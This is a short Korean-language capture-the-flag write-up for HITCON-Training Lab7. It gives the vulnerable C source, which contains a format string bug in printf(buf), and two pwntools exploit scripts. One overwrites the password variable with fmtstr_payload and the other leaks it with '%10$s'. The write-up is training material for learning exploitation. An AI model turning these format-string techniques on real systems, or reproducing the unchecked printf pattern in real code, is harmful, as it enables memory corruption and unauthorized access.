[HITCON-Training]Lab7
password 값만 맞춰주면 flag를 얻을 수 있는 문제다.
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <stdlib.h>
unsigned int password ;
int main(){
setvbuf(stdout,0,2,0);
char buf[100];
char input[16];
int fd ;
srand(time(NULL));
fd = open("/dev/urandom",0);
read(fd,&password,4);
printf("What your name ? ");
read(0,buf,99);
printf("Hello ,");
printf(buf);
printf("Your password :");
read(0,input,15);
if(atoi(input) != password){
puts("Goodbyte");
}else{
puts("Congrt!!");
system("cat /home/crack/flag");
}
}
첫 번째 방법은 password를 0으로 만들고 0을 입력해주면 된다.
from pwn import *
e = ELF('./crack')
p = process('./crack')
password = 0x0804A048
offset = 10
payload = fmtstr_payload(offset,{password:0})
p.sendlineafter('?',payload)
p.sendlineafter(':',p32(0))
p.interactive()
두 번째 방법은 password 값을 FSB 이용해서 leak해준 다음에 값 맞춰주면 된다.
from pwn import *
e = ELF('./crack')
p = process('./crack')
offset = 10
password = 0x0804a048
payload = p32(password) + '%10$s'
p.sendlineafter('? ',payload)
p.recvuntil(',')
p.recv(4)
real_pass = u32(p.recv(4))
p.sendlineafter(':',str(real_pass))
p.interactive()